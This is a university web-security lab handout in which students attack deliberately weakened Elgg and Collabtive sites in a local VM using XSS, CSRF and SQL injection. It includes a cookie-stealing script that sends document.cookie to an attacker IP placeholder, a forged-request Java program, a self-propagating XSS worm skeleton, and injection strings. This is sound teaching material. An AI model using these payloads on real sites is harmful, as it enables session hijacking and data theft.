Web Security Lab (CMSC 414, Spring 2018)

Due Thursday March 15, 11:59:59pm

Introduction

This project will cover three broad classes of attacks that are incredibly common on the web today: Cross-Site Scripting (XSS), Cross-Site Request Forgeries (CSRF), and SQL Injection attacks. Today's web is a complex system, consisting of multiple different kinds of protocols and technologies interacting with one another. To make the most out of this project, you will be working with a rather wide cross-section of them. As a result, there are many things about this project that may be new to you—you will be digging into HTTP, generating some Javascript, SQL, and HTML code, and possibly looking at some PHP code, as well. **Start early.** (Besides, this is a fun one!)

We will be using a new VM this project, which you can find at the course resources page. All of the requisite web pages and services are preloaded in the VM.

Whereas `gdb` was your friend in project 1, LiveHTTPHeaders, Firebug, and good old `alert` messages will be crucial to inspecting data and debugging your code. These, too, are provided with your VM.

1 Overview of Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web application named `Elgg`. `Elgg` is a very popular open-source web application for social network, and it has implemented a number of countermeasures to remedy the XSS threat. To demonstrate how XSS attacks work, we have commented out these countermeasures in `Elgg` in our installation, intentionally making `Elgg` vulnerable to XSS attacks. Without the countermeasures, users can post any arbitrary message, including JavaScript programs, to the user profiles.

1.1 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the Apache web server, and (3) the `Elgg` web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The Project 2 VM already has all of these tools installed.

Starting the Apache Server. The apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
% sudo apache2ctl start
```

or

```
% sudo service apache2 start
```

The `Elgg` Web Application. We use an open-source web application called `Elgg` in this lab. `Elgg` is a web-based social-networking application. It is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `Elgg` server and the credentials are in the table below.

User	Username	Password
Admin	admin	seedelgg
Alice	alice	seedalice
Boby	boby	seedboby
Charlie	charlie	seedcharlie
Samy	samy	seedsamy

You can access the `Elgg` server using the following URL (the apache server needs to be started first):

```
http://www.xsslabelgg.com
```

Configuring DNS. This URL is only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain name (`www.xsslabelgg.com`) to the virtual machine's local IP address (`127.0.0.1`). You may map any domain name to a particular IP address using the `/etc/hosts`. For example you can map `http://www.example.com` to the local IP address by appending the following entry to `/etc/hosts` file:

```
127.0.0.1       www.example.com
```

Therefore, if your web server and browser are running on two different machines, you need to modify the `/etc/hosts` file on the browser's machine accordingly to map `www.xsslabelgg.com` to the web server's IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory `"/etc/apache2/sites-available"` contains the necessary directives for the configuration:

1. The directive `"NameVirtualHost *"` instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever necessary, we provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages.

1.2 Task 0: Warmup - No Submission Necessary

This task is to help you get started. No submission is necessary. However, you should try out the suggested experiments in order to proceed smoothly with the remainder of the tasks.

Posting a malicious message to display an alert message. The objective of this task is to embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert('XSS');</script>
```

Note: the quotes in the pdf file may have a messed up font. If you copy and paste the above line, you may need to change the quotes manually.

If you embed the above JavaScript code in your profile (e.g. in the brief description field), then any user who views your profile will see the alert window.

In this case, the JavaScript code is short enough to be typed into the short description field. If you want to run a long JavaScript, but you are limited by the number of characters you can type in the form, you can store the JavaScript program in a standalone file, save it with the `.js` extension, and then refer to it using the src attribute in the `<script>` tag. See the following example:

```
<script type = text/javascript
    src = http://www.example.com/myscripts.js>
</script>
```

In the above example, the page will fetch the JavaScript program from `http://www.example.com`, which can be any web server.

Posting a Malicious Message to Display Cookies The objective of this task is embed a JavaScript program in your `Elgg` profile, such that when another user views your profile, the user's cookies will be displayed in the alert window. For instance, consider the following message that contains a JavaScript code:

```
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
```

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

1.3 Task 1: Stealing Cookies from the Victim's Machine

Hint: In all of the tasks in this lab, remember that due to the browser's caching behavior, you may need to reload a page to see the effect of the attack. You can do so by clicking the reload button, or `ctrl + R`.

In the previous task, the malicious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert a `<img>` tag with `src` set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker's machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program will be given to you.

```
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:5555?c='
                            + escape(document.cookie) + '   >'); </script>
This script is to test XSS.  Thanks.
```

Note: Remember to change the messed up font of the quotes if you copy and paste from the above. After you download the TCP echo server, type "make" to compile, and please read the README file on important information regarding how to start the server on port 5555.

Submission: Submit a file called `task1.txt`containing the message contents.
Grading: We will run the echo server on `localhost` on port 5555. We will edit the brief description field acting as the user `charlie` using the message contents as specified by your `task1.txt`. Then, when `samy` opens this message, `samy`'s cookie should be printed by the echo server.

1.4 Task 2: Impersonating the Victim using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the `Elgg` web server, including posting a new message in the victim's name, delete the victim's post, etc. In this task, we will launch a session hijacking attack and write a program to add a friend, Samy on behalf of the victim. The attack should be launched from another virtual machine.

To add a friend for the victim, we should first find out how a legitimate user adds a friend in `Elgg`. More specifically, we need to figure out what are sent to the server when a user adds a friend. Firefox's `LiveHTTPHeaders` extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the parameters in the request. The `LiveHTTPHeaders` extension can be downloaded from `http://livehttpheaders.mozdev.org/`, and it is already installed in the pre-built `Ubuntu` VM image.

Once we have understood what the HTTP request for adding friend looks like, we can write a Java program to send out the same HTTP request. The `Elgg` server cannot distinguish whether the request is

sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters correctly, the server will accept and process the message-posting HTTP request. To simplify your task, we provide you with a sample Java program that does the following:

1. Opens a connection to the web server.
2. Sets (*some of*) the necessary HTTP header information.
3. Sends the request to the web server.
4. Gets the response from the web server.

```
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {

  public static void main(String[] args) throws IOException {
   try {
      int responseCode;
      InputStream responseIn=null;
      String requestDetails = "&__elgg_ts=<<correct_elgg_ts_value>>
                               &__elgg_token=<<correct_elgg_token_value>>";

      // URL to be forged.
      URL url = new URL ("http://www.xsslabelgg.com/action/friends/add?
                          friend=<<friend_user_guid>>"+requestDetails);

      // URLConnection instance is created to further parameterize a
      // resource request past what the state members of URL instance
      // can represent.
      URLConnection urlCon = url.openConnection();
      if (urlCon instanceof HttpURLConnection) {
         urlCon.setConnectTimeout(60000);
         urlCon.setReadTimeout(90000);
      }

      // addRequestProperty method is used to add HTTP Header Information.
      // Here we add User-Agent HTTP header to the forged HTTP packet.
      urlCon.addRequestProperty("User-agent", "User-Agent: Mozilla/5.0
                 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0");

      //HTTP Post Data which includes the information to be sent to the server.
      String data="name=....&guid=....";

      // DoOutput flag of URL Connection should be set to true
      // to send HTTP POST message.
      urlCon.setDoOutput(true);

      // OutputStreamWriter is used to write the HTTP POST data
      // to the url connection.
      OutputStreamWriter wr = new OutputStreamWriter(urlCon.getOutputStream());
      wr.write(data);
      wr.flush();

      // HttpURLConnection a subclass of URLConnection is returned by
      // url.openConnection() since the url  is an http request.
```

```
      if (urlCon instanceof HttpURLConnection) {
         HttpURLConnection httpConn = (HttpURLConnection) urlCon;

         // Contacts the web server and gets the status code from
         // the HTTP Response message.
         responseCode = httpConn.getResponseCode();
         System.out.println("Response Code = " + responseCode);

         // HTTP status code HTTP_OK means the response was received successfully.
         if (responseCode == HttpURLConnection.HTTP_OK) {

            // Get the input stream from url connection object.
            responseIn = urlCon.getInputStream();

            // Create a BufferedReader instance to read each response line
            BufferedReader buf_inp = new BufferedReader(
                 new InputStreamReader(responseIn));
            String inputLine;
            while((inputLine = buf_inp.readLine()) != null) {
               System.out.println(inputLine);
            }
         }
      }
    } catch (MalformedURLException e) {
      e.printStackTrace();
    }
  }
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`
- Java Protocol Handler:
  `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

Note: Elgg uses two parameters `__elgg_ts` and `__elgg_token` as a countermeasure to defeat another related attack (Cross Site Request Forgery). Make sure that you set these parameters correctly for your attack to succeed. Also, please note down the correct guid of the friend who needs to be added to the friend list. Additionally, the attack should be launched from a different virtual machine; you should make the relevant changes to the attacker VM's `/etc/hosts` file, so your `Elgg` server's IP address points to the victim's machine's IP address, instead of the localhost (in our default setting).

Hint: you can compile a java program into bytecode by running javac HTTPSimpleForge.java on the console.You can run the byte code by running `java HTTPSimpleForge`.

Submission: Submit a file called `HTTPSimpleForge.java`.
Grading: We will compile this into byte code and execute it.

- Input: Your java program should read from an input file called `task2input.txt` (in the same directory in which the program is run). The first line of the input file contains the `__elgg_ts`, the second line `__elgg_token` and the third line contains the `Cookie` value.
- Output: When your java program is executed, it should add Samy as a friend on behalf of the victim user.

1.5 Task 3: Writing an XSS Worm

In the previous task, we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim's browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a *cross-site scripting worm*. For this web application, the worm program should do the following:

1. Retrieve the session ID of the user using JavaScript.
2. Modify the victim's profile such that the About me section in the victim's profile displays "I am Samy".

Using Ajax: The malicious JavaScript should be able to send an HTTP request to the `Elgg` server, asking it to modify the current user's profile. There are two common types of HTTP requests, one is HTTP `GET` request, and the other is HTTP `POST` request. These two types of HTTP requests differ in how they send the contents of the request to the server. In `Elgg`, the request for modifying profile uses HTTP `POST` request. We can use the `XMLHttpRequest` object to send HTTP `GET` and `POST` requests for web applications.

To learn how to use `XMLHttpRequest`, you can study these cited documents [1, 2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. (You shouldn't need much more beyond some basic string manipulation, calling functions, and obtaining cookies from the `document` object.)

You may also need to debug your JavaScript code. `Firebug` is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. `FireBug` can be downloaded from https://addons.mozilla.org/en-US/firefox/addon/1843. It is already installed in our pre-built `Ubuntu` VM image.

Code Skeleton: We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you include the final JavaScript code, you need to remove all the comments, extra space and new-line characters.

```
<script>
var Ajax=null;

// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabelgg.com/action/profile/edit",true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


// Construct the content. The format of the content can be  learned
//   from LiveHttpHeader.
var content="name=....&description=....&guid="; // You need to fill in the details.

// Send the HTTP POST request.
Ajax.send(content);
</script>
```

Getting the user details: To modify the victims profile the HTTP requests send from the worm should contain the victims `username`, `guid`, `__elgg_ts` and `__elgg_token`. These details are present in the web page and the worm needs to find out this information using JavaScript code. Be careful when dealing with an infected profile. Sometimes, a profile is already infected by the XSS worm, you may want to leave them alone, instead of modifying them again. If you are not careful, you may end up removing the XSS worm from the profile.

Submission: Submit a file called `task3.txt` which contains the script that Samy injects into his profile to modify the victim's profile.
Grading: We will inject the worm logged in as `Samy` and when `Charlie` logs into his profile and views `Samy's` profile, `Charlie's` profile should be modified, i.e. "I am Samy" should be displayed on `Charlie's` profile in the About me section.

1.6 Task 4: Writing a Self-Propagating XSS Worm

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate. The JavaScript code that can achieve this is called a self-propagating cross-site scripting worm. In this task, you need to implement such a worm, which infects the victim's profile and displays "I am Samy" in the "About me" section in the victim's profile. To achieve self-propagation, when the malicious JavaScript modifies the victim's profile, it should copy itself to the victim's profile.

The following guidelines on properly encoding your input are critical to making this work:

1. ID Approach: If the entire JavaScript program (i.e., the worm) is embedded in the infected profile, to propagate the worm to another profile, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and displays it in an alert window:

```
<script id=worm>
   var strCode = document.getElementById("worm");
   alert(strCode.innerHTML);
</script>
```

2. **URL Encoding :** All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages to be posted in the phpBB forum should be encoded using URL encoding. The `escape` function can be used to URL encode a string. An example of using the encode function is given below.

```
<script>
  var strSample = "Hello World";
  var urlEncSample = escape(strSample);
  alert(urlEncSample);
</script>
```

3. Under the URL encoding scheme the "+" symbol is used to denote space. In JavaScript programs, "+" is used for both arithmetic operations and string concatenation operations. **To avoid this ambiguity, you may use the `concat` function for string concatenation**. For example:

```
<script>
    var onestring="abc";
    onestring = onestring.concat("def");
</script>
```

'+' is also used for addition. Avoid using addition if you can. If you have to add a number (e.g `a+5`), you can use subtraction (e.g `a-(-5)`).

Hint: You might need to look up the escape codes for HTTP encoding. You can use the following URL. In particular, you may need to encode <, >, /, and white space, etc. Since when you do `getElementById.innerHTML`, it will not contain the outer tags `<scriptid=worm>` and `</script>`.

`http://www.w3schools.com/TAGs/ref_urlencode.asp`

This task might take you a little longer than usual, but the payoff is worth it!

Submission: Submit a file called `task4.txt` containing the script that `Samy` injects into his profile to modify the victim's profile.

Grading: we will inject the worm as user `Samy`. When `Charlie` views `Samy's` profile, "I am Samy" will be displayed on `Charlie's` profile. Later when `Alice` views `Charlie's` profile, his profile is in turn modified.

Extra credit: In the previous task, when `Alice` views `Charlie's` profile, his profile is modified to display "I am Samy". Will you be able to modify the profile to display "I am Charlie" instead? This means that if `Bob` views `Alice's` profile, his profile is modified to display "I am Alice" and if `Bob` views `Charlie's` profile, his profile is modified to display "I am Charlie". For this task submit a file called `task4_extracredit.txt`. In the first line of the file mention if the attack was successful and if successful, the rest of the lines should contain the script that is injected into `Samy's` profile to achieve this.

2 Overview of Cross-Site Request Forgery (CSRF)

The objective of this lab is to help students understand cross-site-request forgery (CSRF or XSRF) attacks. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity.

The `Elgg` Web Application. The `Elgg` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `Elgg` serverand the credentials are in the table below:

User	Username	Password
Admin	admin	seedelgg
Alice	alice	seedalice
Boby	boby	seedboby
Charlie	charlie	seedcharlie
Samy	samy	seedsamy

You can access the `Elgg` server (for this lab) using the following URLs (the apache server needs to be started first):

URL	Description	Directory
`www.csrflabattacker.com`	Attacker web site	/var/www/CSRF/Attacker/
`www.csrflabelgg.com`	Elgg web site	/var/www/CSRF/Elgg/

Configuring DNS. These URLs are only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain names of these URLs to the virtual machine's local IP address (`127.0.0.1`). Basically, we added the following three entries to the `/etc/hosts` file:

```
127.0.0.1          www.csrflabattacker.com
127.0.0.1          www.csrflabelgg.com
```

2.1 Background of CSRF Attacks

A CSRF attack always involved three actors: a trusted site, a victim user of the trusted site, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his/her username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user's web browser.
3. The victim user visits a malicious site.
4. The malicious site's web page sends a request to the trusted site from the victim user's browser.
5. The web browser will automatically attach the session cookie to the malicious request because it is targeted for the trusted site.
6. The trusted site, if vulnerable to CSRF, may process the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as `img`, `iframe`, `frame`, and `form` have no restrictions on the URL that can be used in their attribute. HTML `img`, `iframe`, and `frame` can be used for forging GET requests. The HTML `form` tag can be used for forging POST requests. Forging GET requests is relatively easier, as it does not even need the help of JavaScript; forging POST requests does need JavaScript.

2.2 Lab Tasks

For the lab tasks, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable `Elgg` site accessible at `www.csrflabelgg.com` inside the virtual machine. The second web site is the attacker's malicious web site that is used for attacking `Elgg`. This web site is accessible via `www.csrflabattacker.com` inside the virtual machine.

2.3 Task 5: Attack using HTTP GET request

In this task, we need two people in the `Elgg` social network: `Charlie` and `Samy`. `Samy` wants to become a friend to `Charlie`, but `Charlie` refuses to add `Samy` to her `Elgg` friend list. `Samy` decides to use the CSRF attack to achieve his goal. He sends `Charlie` a URL (via an email or a posting in `Elgg`); `Charlie`, curious about it, clicks on the URL, which leads her to `Samy's` web site: `www.csrflabattacker.com`. Pretend that you are `Samy`, describe how you can construct the content of the web page, so as soon as charlie visits the web page, `Samy` is added to the friend list of charlie (assuming charlie has an active session with `Elgg`).

To add a friend to the victim, we need to identify the Add Friend HTTP request, which is a GET request. In this task, you are not allowed to write JavaScript code to launch the CSRF attack. Your job is to make the attack successful as soon as `Charlie` visits the web page, without even making any click on the page (hint: you can use the `img` tag, which automatically triggers an HTTP `GET` request).

Whenever the victim user visits the crafted web page in the malicious site, the web browser automatically issues a HTTP `GET` request for the URL contained in the img tag. Because the web browser automatically attaches the session cookie to the request, the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user's session integrity.

For this task, you will observe the structure of a different request for adding friend in the vulnerable `Elgg` application and then try to forge it from the malicious site. You can use the `LiveHTTPHeaders` extensions (Firefox → Tools → `LiveHTTPHeaders`) to observe the contents of the HTTP requests.

Observe the request structure for adding a new friend and then use this to forge a new request to the application. When the victim user visits the malicious web page, a malicious request for adding a friend should be injected into the victim's active session with `Elgg`.

Submission. You are required to submit a file named `task5.html`. When a victim user named `Charlie` is logged in with the `http://www.csrflabelgg.com/` website in one browser tab, and visits the attacker website `http://www.csrflabattacker.com/task5.html` in another tab, `Samy` should be added as a friend to `Charlie's` friend list. To test this, you will need to place the task5.html file under the directory `/var/www/CSRF/Attacker/`.
Tip: Your browser Firefox may not refresh on its own. You might need to press the reload/refresh button to reload the page, to see if `Samy` is added as a friend to `Charlie's` account.

2.4 Task 6: Attack in HTTP POST request

HTTP `GET` requests are typically used for requests that do not involve any side effects. The original `Elgg` does not use `GET` requests for posting a new message to the forum. We modified the source code of `Elgg` so that new messages can be posted using GET requests to facilitate task 5. In this task, you will forge a `POST` request that modifies the profile information in `Elgg` - `http://www.csrflabelgg.com`. In a HTTP `POST` request, the parameters for the request are provided in the HTTP message body. Forging an HTTP `POST` request is slightly more difficult. A HTTP `POST` message for the trusted site can be generated using a form tag from the malicious site. Furthermore, we need a JavaScript program to automatically submit the form.

In this lab, we need two people in the `Elgg` social network: charlie and samy. charlie is one of the developers of the SEED project, and she asks `Samy` to endorse the SEED project by adding the message "`I support SEED project!`" in his `Elgg` profile, but `Samy`, who does not like hands-on lab activties, refuses to do so. `Charlie` is very determined, and he wants to try the CSRF attack on `Samy`. Now, suppose you are `Charlie`, your job is to launch such an attack. One way to do the attack is to post a message to `Samy's Elgg` account, hoping that `Samy` will click the URL inside the message. This URL will lead `Samy` to your malicious web site `www.csrflabattacker.com`, where you can launch the CSRF attack. The objective of your attack is to modify the victim's profile. In particular, the attacker needs to forge a request to modify the profile information of the victim user of `Elgg`. Allowing users to modify their profiles is a feature of `Elgg`. If users want to modify their profiles, they go to the profile page of `Elgg`, fill out a form, and then submit the formsending a POST requestto the server-side script `/profile/edit.php`, which processes the request and does the profile modification. The server-side script `edit.php` accepts both `GET` and `POST` requests, so you can use the same trick as that in task 5 to achieve the attack. However, in this task, you are required to use the POST request. Namely, attackers (you) need to forge an HTTP POST request from the victim's browser, when the victim is visiting their malicious site. Attackers need to know

the structure of such a request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using `LiveHTTPHeaders`. You may see something similar to the following (unlike HTTP GET requests, which append parameters to the URL strings, the parameters of HTTP POST requests are included in the HTTP message body):

You may expect to see something similar to the following:

```
Content-Type: application/x-www-form-urlencoded Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&
password_confirm=&icq=&aim=&msn=&yim=&website=&location=&
occupation=&interests=&signature=I+am+good+guy&viewemail=1&
hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=0&
allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&
style=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&
agreed=true&coppa=0&user_id=2&
current_email=admin%40seed.com&submit=Submit
```

Now, using the information you gathered from observing the request, you can construct a web page that posts the message. To help you write a JavaScript program to send a HTTP `post` request, we provide the sample code named `task6sample.html`. You can use this sample code to construct your malicious web site for the CSRF attacks.

Submission. You are required to submit a file named `task6.html`. When a victim user named `charlie` is logged in with the `http://www.csrflabelgg.com/` website in one browser tab, and visits the attacker website `http://www.csrflabattacker.com/task6.html` in another tab, `charlie`'s profile will be changed. To test it, you will need to place the `task6.html` file under the directory `/var/www/CSRF/Attacker/`.

3 Overview Of SQL Injection

SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers. The vulnerability is present when user's inputs are not correctly checked within the web applications before sending to the back-end database servers. Many web applications take inputs from users, and then use these inputs to construct SQL queries, so the web applications can pull the information out of the database. Web applications also use SQL queries to store information in the database. These are common practices in the development of web applications. When the SQL queries are not carefully constructed, SQL-injection vulnerabilities can occur. SQL-injection attacks is one of the most frequent attacks on web applications. In this lab, we modified a web application called `Collabtive`, and disabled several countermeasures implemented by `Collabtive`. As a results, we created a version of `Collabtive` that is vulnerable to the SQL-Injection attack. Although our modifications are artificial, they capture the common mistakes made by many web developers. Your goal in this lab is to find ways to exploit the SQL-Injection vulnerabilities, demonstrate the damage that can be achieved by the attacks, and master the techniques that can help defend against such attacks.

The `Collabtive` Web Application. The `Collabtive` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `Collabtive` server. The password information can be obtained from the posts on the front page. To see all the users' account information, first log in as the admin using the password "`admin`"; other users' account information can be obtained from the post on the front page.

`http://www.sqllabcollabtive.com`

The source code of web application is located at `/var/www/SQL/Collabtive/`.

Turn Off the Countermeasure PHP provides a mechanism to automatically defend against SQL injection attacks. The method is called magic quote. Let us turn off this protection first (this protection method is deprecated after PHP version 5.3.0).

1. Go to /etc/php5/apache2/php.ini
2. Find the line: magic_quotes_gpc = On
3. Change it to this: magic_quotes_gpc = Off
4. Restart the apache server by running " sudo service apache2 restart "

3.1 Task 7: SQL Injection Attack on SELECT Statements

For this task, you will use the web application accessible via the URL `www.sqllabcollabtive.com`, which is configured with MySQL database, inside your virtual machine. Before you start to use `Collabtive`, the system will ask you to login. The authentication is implemented by `include/class.user.php` on the server side. This program will display a login window to the user and ask the user to type their `username` and `password`.

Once the user types the `username` and `password`, the `include/class.user.php` program will use the user provided data to find out whether they match with the `username` and `user_password` fields of any record in the database. If there is a match, it means the user has provided a correct username and password combination, and should be allowed to login. Like most other web applications, PHP programs interact with their back-end databases using the standard SQL language. In `Collabtive`, the following SQL query is constructed in `class.user.php` to authenticate users:

```
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender
   FROM user
   WHERE (name = '$user' OR email = '$user') AND pass = '$pass'");

$chk = mysql_fetch_array($sel1);

if (found one record)
then {allow the user to login}
```

In the above SQL statement, `user` refers to the table in which user data is stored, and `$user` is a php variable that holds the string typed in the `Username` textbox. Similarly, `$pass` is a variable that holds the string typed in the `Password` textbox. Users' inputs in these two textboxes are placed directly in the SQL query string.

SQL Injection Attacks on Login: There is a SQL-injection vulnerability in the above query. Your task is to take advantage of this vulnerability to achieve the following objectives:

- Log into another person's account without knowing the correct password.

- Find a way to modify the database (still using the above SQL query). For example, can you add a new account to the database, or delete an existing user account? Obviously, the above SQL statement is a query-only statement, and cannot update the database. However, using SQL injection, you can turn the above statement into two statements, with the second one being the update statement. Try this method, and see whether you can successfully update the database. To be honest, we are unable to achieve the update goal. This is because of a particular defence mechanism implemented in MySQL. In the report, you should show us what you have tried in order to modify the database. You should find out why the attack fails, what mechanism in MySQL has prevented such an attack. You may look up evidences (second-hand) from the Internet to support your conclusion.

Submission: Submit a file called `task7.txt`. The first two lines of the file should be `"username"="..."` and `"password"="..."`, respectively. Replace the ellipses with the value(s) you entered into the login and password fields of the forum. Be sure to include the double quotes so we can see if there is any whitespace at the beginning/end of your submitted input. Follow this with a blank line and then a short explanation of what your input causes to happen. Also include a description of what you tried to enter in order to update the database, and your conclusions as to why it failed. An example `task7.txt` file:

```
"username"="bobby"
"password"="1234"

[An explanation of what your input causes to happen].
[A description of what you tried in order to update the database and why it
failed].
```

3.2 Task 8: SQL Injection on UPDATE Statements

In this task, you need to make an unauthorized modification to the database. Your goal is to modify another user's profile using SQL injections. In `Collabtive`, if users want to update their profiles, they can go to `My account`, click the `Edit` link, and then fill out a form to update the profile information. After the user sends the update request to the server, an `UPDATE` SQL statement will be constructed in `include/class.user.php`. The objective of this statement is to modify the current user's profile information in `users table`. There is a SQL injection vulnerability in this SQL statement. Find the vulnerability, and then use it to do the following:

- Change another user's profile without knowing his/her password. For example, if you are logged in as bob, your goal is to use the vulnerability to modify Peter's profile information, including Peter's password. After the attack, you should be able to log into Peter's account.

Submission: Submit a file called `task8.txt`. The first line of the file should be peter's *new* password *after* your SQL injection has been executed, wrapped in double quotes. The next n lines should be of the form `"param"="value"`, where `param` is the name of the profile parameter, exactly as it appears in the code (and in the tamper data plugin) and `value` is the new value you entered in that field. As in Task 7, follow this with a blank line and then a short write up explaining the steps you took to come up with the attack. An example `task8.txt` file:

```
"badpassword"
"interests"="robert'; DROP TABLE students; -- "
"occupation"="bad occupation"
"signature"="bad signature"
```

```
[Your writeup here].
```

4 Task 9: Break-it!

In Project 1, Task 3, you built secure code to read and write substrings. Now it's time to break.

We have aggregated all of the submissions and put them here:
`https://www.cs.umd.edu/class/spring2018/cmsc414-0101/projects/p1-task3.tgz`

Once you untar this file, you will have a directory `p1-task3/`, that in turn has one directory per student. We did not want to reveal students' names (which is why we asked you not to put in any personally identifying information in your Task 3 submissions), nor did we want to reveal your UIDs—but nonetheless, we want to make it easy for you to know which directory is yours and which directories you should try to attack.

Here was our solution: The name of each subdirectory is the four least significant hex digits of the MD5 of the student's UID. MD5 is a (weak and insecure) *hash function*—hash functions take arbitrarily large inputs (strings, files, etc.) and produces a fixed-sized output with the nice property that small changes in the input lead to large, hard-to-predict changes in the output. To compute MD5 of a string "123456789" (with no newline at the end), you can execute the following command:

```
% echo -n "123456789" | md5sum
25f9e794323b453885f5181f1b624d0b
```

(The `-n` option here tells `echo` not to include a newline. Try it with and without this option, and note that a small change to the input—the inclusion of the newline or not—can lead to drastic changes in the output. This property will prove *very* useful when we start exploring cryptography.)

We take the four least significant hex digits to construct the directory name, so if a student had UID 123456789, then their code would appear in directory `p1-task3/4d0b/`

Task: Compute the corresponding value for your UID; attempt to break *three of the six* submissions immediately following yours[1]. Write up a report for each of the three in files named `task9/<ID>.txt`, where `<ID>` is the name of the directory you attacked. For example, if you attacked the above directory, one of the three Task 9 files you would submit would be `task9/4d0b.txt`

For each one, include:

- What attack(s) did you attempt?
- What, if anything, did the code do to prevent the attack(s)?
- Were you able to break it, and if so, what was the input and output that broke it?
- If you were *not* able to break it, then sketch a proof of why the code is resilient to *all* inputs.

5 Task 10 (Extra credit): Break All of It!

For extra credit, you may break more than the three assigned to you in Task 9. If you choose to do this, submit a directory called `task10/`

Moreover, there will be a prize for those whose code is proven to be among the most resilient to attack.

[1] By having you attack three of the six, you can avoid having to try to attack submissions that, for instance, do not compile.

6 Summary of Submitted Files

Submit the following files on the submit server, and be sure to post your security review on Piazza as a reply to the instructor-specified post:

- `task1.txt`
- `HTTPSimpleForge.java`
- `task3.txt`
- `task4.txt`
